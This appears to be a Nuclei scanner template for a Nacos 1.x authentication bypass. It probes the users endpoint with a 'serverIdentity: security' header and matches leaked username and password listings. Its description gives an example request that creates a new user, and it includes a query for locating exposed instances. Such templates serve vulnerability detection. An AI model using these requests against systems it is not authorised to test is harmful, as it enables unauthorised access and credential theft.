52 lines
1.8 KiB
YAML
52 lines
1.8 KiB
YAML
id: nacos-auth-bypass
|
|
|
|
info:
|
|
name: Nacos 1.x - Authentication Bypass
|
|
author: taielab,pikpikcu,SleepingBag945
|
|
severity: critical
|
|
description: |
|
|
Nacos 1.x was discovered. A default Nacos instance needs to modify the application.properties configuration file or add the JVM startup variable Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html). But authentication can still be bypassed under certain circumstances and any interface can be called as in the following example that can add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test). That user can then log in to the console to access, modify, and add data.
|
|
reference:
|
|
- https://github.com/alibaba/nacos/issues/4593
|
|
- https://nacos.io/en-us/docs/auth.html
|
|
- https://zhuanlan.zhihu.com/p/602021283
|
|
classification:
|
|
cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: alibaba
|
|
product: nacos
|
|
fofa-query: app="NACOS"
|
|
tags: nacos,auth-bypass
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"
|
|
- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"
|
|
|
|
headers:
|
|
serverIdentity: security
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"totalCount":'
|
|
- '"username":'
|
|
- '"password":'
|
|
- '"pagesAvailable":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502210092c95e7ff8b712d3328ed2930baeb5b4a9d99d1577665f0b91be0fe0667d7b02022069db77c08d4cf3261db63179af635a5a2dbe39e70118588772ce633f620931ca:922c64590222798bb761d5b6d8e72950 |